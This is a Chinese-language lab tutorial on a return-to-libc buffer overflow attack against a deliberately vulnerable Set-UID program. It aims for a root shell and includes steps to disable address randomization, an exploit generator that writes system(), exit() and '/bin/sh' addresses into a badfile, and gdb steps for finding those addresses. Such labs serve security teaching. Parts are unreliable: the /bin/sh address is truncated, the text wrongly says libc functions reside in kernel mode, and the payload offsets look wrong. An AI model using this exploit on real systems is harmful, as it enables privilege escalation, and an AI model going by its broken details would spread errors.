Return-to-libc攻击实验

Return-to-libc攻击实验

一、实验描述

缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。
不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

二、实验内容

0.相关说明

本次实验在32为Linux下进行,如果操作系统为64位,需要按照如下方法设置。实验使用的shell脚本为zsh。关闭地址空间随机化。

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
ln -s /bin/zsh /bin/sh
sudo sysctl -w kernel.randomize_va_space=0

使用gcc编译程序时,可以手动指定编译后的程序是否允许执行栈。如果不指定,默认为不可执行。

gcc -z execstack -o test test.c    #栈可执行
gcc -z noexecstack -o test test.c  #栈不可执行

1.带有漏洞的程序

Return-to-lib攻击本质还是缓冲区溢出攻击的一种,所以我们需要一段带有缓冲区溢出漏洞的程序。我们的目标是获取带有root权限的shell。

//retlib.c
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include 
#include 
#include 

int bof(FILE *badfile)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
}

int main()
{
    FILE *badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Overflow failed.\n");
    fclose(badfile);
    return 1;
}

使用root权限编译,关闭缓冲区溢出保护,赋予Set-UID权限。

# gcc -m32 -g -z noexecstack -fno-stack-protector retlib.c -o retlib
# chmod u+s retlib

2.攻击程序

攻击程序用于给带有漏洞的程序传入参数,这个参数是一些指令,通过指令运行我们期望的sh。

#include 
#include 
#include 
int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile = fopen("./badfile", "w");
    strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
    *(long *) &buf[32] = addr1; // "//bin//sh"
    *(long *) &buf[24] = addr2; // system()
    *(long *) &buf[36] = addr3; // exit()
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
    return 0;
}

其中addr1、addr2、addr3分别为BIN_SH、system、exit 的地址。我们下一步要做的就是获取这些地址。

3.获取内存地址

(1)获取/bin/sh地址

为了获取带/bin/sh的地址,我们需要编写一个程序。

//getenvaddr.c
#include 
#include 
#include 
int main(int argc, char const *argv[])
{
    char *ptr;
    if(argc < 3)
    {
        printf("Usage: %s  \n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}

其中,getenv的参数为一个环境变量,因此我们需要创建一个环境变量来记录路径export BIN_SH="/bin/sh"
调用程序./getenvaddr BIN_SH ./retlib得到/bin/sh的地址。BIN_SH will be at 0x8

(2)获取system和exit的地址

这两个程序是驻留在内核态的,所有程序共享内核态的函数,因此我们可以使用gdb来获取这两个程序的地址。

$ gdb -q ./retlib
(gdb) b 5 //break at ant point
(gdb) p system
$1 = {no debug info>} 0xf7e61cd0 <system>
(gdb) p exit
$2 = {no debug info>} 0xf7e54ec0 <exit>

至此,我们找到了预期的三个地址。

4.实施攻击

我们将刚才找到的三个地址填入代码中,编译并执行,生成badfile。
运行带有漏洞的程序,我们将会得到带有root权限的shell。

你可能感兴趣的:(Seed实验)